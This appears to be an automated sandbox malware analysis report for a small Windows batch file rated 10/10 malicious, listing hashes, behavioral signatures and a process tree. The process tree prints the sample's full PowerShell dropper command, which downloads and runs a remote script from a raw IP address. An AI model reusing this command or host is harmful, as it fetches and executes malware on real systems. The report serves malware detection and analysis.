Analysis
-
max time kernel
115s -
max time network
118s -
platform
windows10_x64 -
resource
win10v200410 -
submitted
18-04-2020 16:10
Static task
static1
Behavioral task
behavioral1
Sample
u3CD1fs9.bat
Resource
win7v200410
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
u3CD1fs9.bat
Resource
win10v200410
windows10_x64
0 signatures
0 seconds
General
-
Target
u3CD1fs9.bat
-
Size
192B
-
MD5
775b9f9c687e640c4e5a65c9512ef573
-
SHA1
920bb3ec6c979520acefcb233670b18446ed09e9
-
SHA256
97b4b68e56ffee83aa062e9f016df1f5c2e280b6df581deec97ced89667e8d1b
-
SHA512
e41e431075bf6869cfa5b1e90c267545f30bf7548fb91e7d729292b2a20b376553807ff45970250bf53e568cdc894e4482c77e82b98ac8c84403cd31d73b2a69
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
ps1.dropper
http://185.103.242.78/pastes/u3CD1fs9
Signatures
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 3844 3576 WerFault.exe powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
WerFault.exedescription pid process Token: SeRestorePrivilege 3844 WerFault.exe Token: SeBackupPrivilege 3844 WerFault.exe Token: SeDebugPrivilege 3844 WerFault.exe -
Suspicious behavior: EnumeratesProcesses 14 IoCs
Processes:
WerFault.exepid process 3844 WerFault.exe 3844 WerFault.exe 3844 WerFault.exe 3844 WerFault.exe 3844 WerFault.exe 3844 WerFault.exe 3844 WerFault.exe 3844 WerFault.exe 3844 WerFault.exe 3844 WerFault.exe 3844 WerFault.exe 3844 WerFault.exe 3844 WerFault.exe 3844 WerFault.exe -
Makes http(s) request 1 IoCs
Contacts server via http/https, possibly for C2 communication.
Processes:
description flow ioc HTTP URL 2 http://www.msftconnecttest.com/connecttest.txt
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\u3CD1fs9.bat"1⤵PID:4020
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/u3CD1fs9');Invoke-BJZXVCQKO;Start-Sleep -s 10000"2⤵PID:3576
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3576 -s 7043⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:3844